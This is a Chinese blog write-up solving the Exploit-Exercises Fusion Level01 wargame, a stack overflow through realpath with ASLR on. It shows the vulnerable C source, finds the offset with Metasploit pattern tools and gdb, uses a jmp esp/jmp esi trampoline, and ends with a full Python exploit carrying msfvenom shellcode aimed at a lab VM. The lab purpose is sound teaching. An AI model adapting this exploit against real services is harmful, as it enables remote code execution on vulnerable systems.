Fusion Level01和Level00是一样的,只是引入了ASLR机制,因为栈是可执行的,这里借助jmp esp来跳转到栈上执行代码。这是一个简单的栈溢出场景,realpath函数的原型为char *realpath(const char *path, char *resolved_path),其将path中保存的路径字符串展开之后复制到resolved_path之中,这里由于resolved数组只有128个字节,而path有1000多个字节,因此这里会发生栈溢出。
Fusion Level01的源代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | #include "../common/common.c" int fix_path(char *path) { char resolved[128]; if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open strcpy(path, resolved); } char *parse_http_request() { char buffer[1024]; char *path; char *q; // printf("[debug] buffer is at 0x%08x :-)\n", buffer); :D if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host"); if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request"); path = &buffer[4]; q = strchr(path, ' '); if(! q) errx(0, "No protocol version specified"); *q++ = 0; if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol"); fix_path(path); printf("trying to access %s\n", path); return path; } int main(int argc, char **argv, char **envp) { int fd; char *p; background_process(NAME, UID, GID); fd = serve_forever(PORT); set_io(fd); parse_http_request(); } |
0×01. 定位返回地址覆盖偏移值
首先使用metasploit-framework的pattern_create.rb创建一个字符串用于定位返回地址的偏移值:
root@kali:/usr/share/metasploit-framework/tools# ./pattern_create.rb 200 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag |
在Fusion机器上,必须先开启core dump设置,设置代码如下:
root@fusion:/opt/fusion/bin# ulimit -c unlimited root@fusion:/opt/fusion/bin# echo 1 > /proc/sys/fs/suid_dumpable root@fusion:/opt/fusion/bin# echo 'core.%e.%p' > /proc/sys/kernel/core_pattern |
然后,通过nc远程发送数据进行测试:
root@kali:/usr/share/metasploit-framework/tools# python -c "print 'GET /' + 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag HTTP/1.1'+'\x90'*100" | nc 192.168.218.197 20001 |
这时候,在Fusion的机器的根目录/下发现core文件,使用gdb进行调试:
root@fusion:/# gdb /opt/fusion/bin/level01 core.level01.3147 Reading symbols from /opt/fusion/bin/level01...done. [New LWP 3147] warning: Can't read pathname for load map: Input/output error. Core was generated by `/opt/fusion/bin/level01'. Program terminated with signal 11, Segmentation fault. #0 0x65413665 in ?? () |
这里EIP被覆盖为0×65413665,找到这个数据在字符串中的偏移值,发现偏移值为139:
root@kali:/usr/share/metasploit-framework/tools# ./pattern_offset.rb 0x65413665 [*] Exact match at offset 139 |
另外,我们发现esi寄存器指向了一堆0×90,那就是我们放在HTTP/1.1后面的数据:
(gdb) i r eax 0x1 1 ecx 0xb75c78d0 -1218676528 edx 0xbfd3da89 -1076634999 ebx 0xb773fff4 -1217134604 esp 0xbfd3da50 0xbfd3da50 ebp 0x41356541 0x41356541 esi 0xbfd3db3e -1076634818 edi 0x8049ed1 134520529 eip 0x65413665 0x65413665 eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x /20xb $esi 0xbfd3db3e: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbfd3db46: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbfd3db4e: 0x90 0x90 0x90 0x90 |
如果能找到一条jmp esi指令,那就完美了,不过通过msfelfscan没有找到:
root@kali:/usr/share/metasploit-framework# ./msfelfscan -j esi /home/winson/Desktop/Fusion/level01 [/home/winson/Desktop/Fusion/level01] |
也可以先找jmp esp,然后再执行jmp esi,后者我们可以自己构造:
root@kali:/usr/share/metasploit-framework# ./msfelfscan -j esp /home/winson/Desktop/Fusion/level01 [/home/winson/Desktop/Fusion/level01] 0x08049f4f jmp esp |
https://defuse.ca/online-x86-assembler.htm 这个页面可以将汇编指令翻译成对应的机器码,我们得到jmp esi的机器码为FF E6。
0×02. 执行Shellcode
这里level01的UID为20001,因此生成一段创建文件的Shellcode进行测试,使用msfvenom创建一段Shellcode:(创建文件/tmp/foobar)
root@kali:/usr/share/metasploit-framework/tools# msfvenom -p linux/x86/exec -f py CMD="touch /tmp/foobar" No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload Found 0 compatible encoders buf = "" buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f" buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x12" buf += "\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70" buf += "\x2f\x66\x6f\x6f\x62\x61\x72\x00\x57\x53\x89\xe1\xcd" buf += "\x80" |
我们先通过jmp esp来跳转到栈上执行jmp esi,之后就可以执行Shellcode了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | #!/usr/bin/env python # -*- coding:utf-8 -*- import sys import socket def pwn(ip, port): junk = 'A'*139 ret = "\x4f\x9f\x04\x08" jmpesi = "\xFF\xE6" nops = '\x90'*100 shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" shellcode += "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x12\x00\x00" shellcode += "\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x66\x6f" shellcode += "\x6f\x62\x61\x72\x00\x57\x53\x89\xe1\xcd\x80" request = 'GET /' + junk + ret + jmpesi + ' HTTP/1.1' + nops + shellcode fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP) fd.connect((ip, port)) fd.sendall(request) fd.close() if __name__ == "__main__": if len(sys.argv) == 3: pwn(sys.argv[1], int(sys.argv[2])) |
发送攻击数据给Fusion机器:
winson@kali:~/Desktop/Fusion$ python level01.py 192.168.218.197 20001 |
本文地址: 程序人生 >> Exploit-Exercises Fusion Level01
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!